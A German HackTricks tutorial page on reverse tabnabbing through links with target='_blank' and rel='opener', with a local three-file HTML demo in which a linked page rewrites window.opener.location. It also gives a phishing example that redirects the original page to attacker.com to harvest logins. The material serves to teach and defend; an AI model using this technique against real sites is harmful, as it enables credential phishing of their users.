7 KiB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Beschreibung
In einer Situation, in der ein Angreifer das href
-Argument eines <a
-Tags mit dem Attribut target="_blank" rel="opener"
kontrollieren kann, das von einem Opfer angeklickt wird, kann der Angreifer diesen Link auf eine von ihm kontrollierte Webseite (eine bösartige Website) verweisen. Sobald das Opfer den Link anklickt und die Webseite des Angreifers aufruft, kann diese bösartige Website die ursprüngliche Seite über das JavaScript-Objekt window.opener
kontrollieren.
Wenn die Seite kein **rel="opener"
enthält, aber target="_blank"
enthält und auch kein rel="noopener"
hat, könnte sie ebenfalls anfällig sein.
Eine übliche Methode, um dieses Verhalten auszunutzen, besteht darin, die Position der ursprünglichen Webseite über window.opener.location = https://attacker.com/victim.html
zu ändern, um auf eine vom Angreifer kontrollierte Webseite zu verweisen, die wie die ursprüngliche aussieht, damit sie das Anmeldeformular der ursprünglichen Webseite imitieren und nach Anmeldeinformationen des Benutzers fragen kann.
Beachten Sie jedoch, dass der Angreifer nun das Fensterobjekt der ursprünglichen Webseite kontrollieren kann, und er kann es auf andere Weise missbrauchen, um heimlichere Angriffe durchzuführen (vielleicht durch Modifizierung von JavaScript-Ereignissen, um Informationen an einen von ihm kontrollierten Server zu exfiltrieren?).
Übersicht
Mit Rückverweis
Verbindung zwischen Eltern- und Kindseiten, wenn das Präventionsattribut nicht verwendet wird:
Ohne Rückverweis
Verbindung zwischen Eltern- und Kindseiten, wenn das Präventionsattribut verwendet wird:
Beispiele
Erstellen Sie die folgenden Seiten in einem Ordner und starten Sie einen Webserver mit python3 -m http.server
Rufen Sie dann http://127.0.0.1:8000/
vulnerable.html auf, klicken Sie auf den Link und beachten Sie, wie sich die URL der ursprünglichen Website ändert.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="bösartig.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="bösartige_weiterleitung.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Zugängliche Eigenschaften
Im Szenario eines Cross-Origin-Zugriffs (Zugriff über verschiedene Domains hinweg) sind die Eigenschaften der window-JavaScript-Klasseninstanz, auf die von einer bösartigen Website zugegriffen werden kann und die vom opener-JavaScript-Objektverweis verwiesen wird, auf die folgenden beschränkt:
opener.closed
: Diese Eigenschaft wird abgefragt, um festzustellen, ob ein Fenster geschlossen wurde, und gibt einen booleschen Wert zurück.opener.frames
: Diese Eigenschaft ermöglicht den Zugriff auf alle iframe-Elemente im aktuellen Fenster.opener.length
: Diese Eigenschaft gibt die Anzahl der im aktuellen Fenster vorhandenen iframe-Elemente zurück.opener.opener
: Über diese Eigenschaft kann eine Referenz auf das Fenster abgerufen werden, das das aktuelle Fenster geöffnet hat.opener.parent
: Diese Eigenschaft gibt das übergeordnete Fenster des aktuellen Fensters zurück.opener.self
: Über diese Eigenschaft wird der Zugriff auf das aktuelle Fenster selbst ermöglicht.opener.top
: Diese Eigenschaft gibt das oberste Browserfenster zurück.
In Fällen, in denen die Domains identisch sind, erhält die bösartige Website Zugriff auf alle von der window-JavaScript-Objektreferenz bereitgestellten Eigenschaften.
Prävention
Informationen zur Prävention sind in der HTML5 Cheat Sheet dokumentiert.
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.